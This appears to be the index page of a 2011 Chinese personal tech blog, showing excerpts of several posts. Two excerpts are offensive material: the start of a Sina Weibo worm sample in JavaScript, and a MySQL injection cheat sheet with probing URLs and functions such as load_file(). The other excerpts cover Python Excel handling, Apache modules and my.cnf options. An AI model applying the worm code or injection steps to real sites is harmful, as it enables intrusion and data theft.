Network Stone
–  薄雾ing (bwing)
首页
系统文档
安全文档
应用文档
开发文档
随手记事
关于
RSS
六29
2011-06-28 Sina微博蠕虫样本
on 六月 29th, 2011
at 09:55
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject(“Microsoft.XMLHTTP”);
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open(“GET”,url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = ”;
id = result.match(/namecard=\”true\” title=\”[^\"]*/g);
for(i=0;i
sum = id[i].toString().split('"')[3];
id_arr += sum + '||';
}
↓ Read the rest of this entry…
Comment
五20
mysql注入实用技巧
on 五月 20th, 2011
at 01:12
———mysql注入实用技巧———-
一、正常URL：
list.php?id=874
二、测试存在注入漏洞：
list.php?id=874′      通常会出现sql语法错误等报错，并显示绝对路径，根据绝对路径可以判断windows/linux
三、爆字段数：
list.php?id=874+order+by+1    根据order by 1来找到最大正常数，判断有几个字段。根据页面显示可确定字段位置。
四、利用内部函数爆数据库信息：
1:system_user() 系统用户名
2:user()        用户名
3:current_user  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
8:@@datadir     读取数据库路径
↓ Read the rest of this entry…
Comment
五20
python使用xlrd,xlwt处理excel
on 五月 20th, 2011
at 00:42
python使用xlrd,xlwt处理excel：
#导入模块
import xlrd,xlwt
#打开源文件
data = xlrd.open_workbook(“/home/sfile”)
#获得第一表名
table_name = data.sheet_names()
table = data.sheets()[0]
table = data.sheet_by_index(0)
table = data.sheet_by_name(u’test’)
#获得行列数
nrows = table.nrows
ncols = table.ncols
#获得正行或整列
nrows_i = table.row_values(1)
ncols_i = table.col_values(1)
↓ Read the rest of this entry…
Comment
三12
Aapache模块功能
on 三月 12th, 2011
at 11:53
下表列出了Apache的模块功能：
模块名 功能 缺省
mod_access 提供基于主机的访问控制命令 y
mod_actions 能够运行基于MIME类型的CGI脚本或HTTP请求方法 y
mod_alias 能执行URL重定向服务 y
mod_asis 使文档能在没有HTTP头标的情况下被发送到客户端 y
mod_auth 支持使用存储在文本文件中的用户名、口令实现认证 y
mod_auth_dbm 支持使用DBM文件存储基本HTTP认证 n
mod_auth_mysql 支持使用MySQL数据库实现基本HTTP认证 n
mod_auth_anon 允许以匿名方式访问需要认证的区域 y
↓ Read the rest of this entry…
Comment
三12
mysql5 configuration(my.cnf) options
on 三月 12th, 2011
at 11:42
mysql5 configuration(my.cnf) options
mysqld程序–目 录和文件
basedir = path 使用给定目录作为根目录(安装目录)。
character-sets-dir = path给 出存放着字符集的目录。
datadir = path从给定目录 读取数据库文件。
pid-file = filename为mysqld程序指定一个存放进程ID的文件(仅适用于UNIX/Linux系统); Init-V脚本需要使用这个文件里的进程ID结 束mysqld进程。
socket = filename为MySQL客户程序与服务器之间的本地通信指定一个套接字文件(仅 适用于UNIX/Linux系统;默认设置 一般是/var/lib/mysql/mysql.sock文件)。在Windows环境下，如果MySQL客户与服务器是通过命名管道进行通信的，–sock选 项给出的将是该命名管道的名字(默认设置是MySQL)。
lower_case_table_name = 1/0新目录和数据表的名字是否只允许使用小写字母;这个选项在Windows环境下的默认设置是1(只允许使用小写字 母)。
↓ Read the rest of this entry…
Comment
Page 1 of 3123
»
Search
»
站长
薄雾ing，80后，Low key‘s man
分类
安全文档 (5)
应用文档 (2)
开发文档 (2)
系统文档 (1)
随手记事 (1)
文章
2011-06-28 Sina微博蠕虫样本
mysql注入实用技巧
python使用xlrd,xlwt处理excel
Aapache模块功能
mysql5 configuration(my.cnf) options
评论
淘宝网女装外套 在 PHP程序设计思维导图 上的评论Backlinks 在 php注入十点基本步骤 上的评论taobaowangnvzhuangyundongzhuang 在 PHP程序设计思维导图 上的评论backlink service 在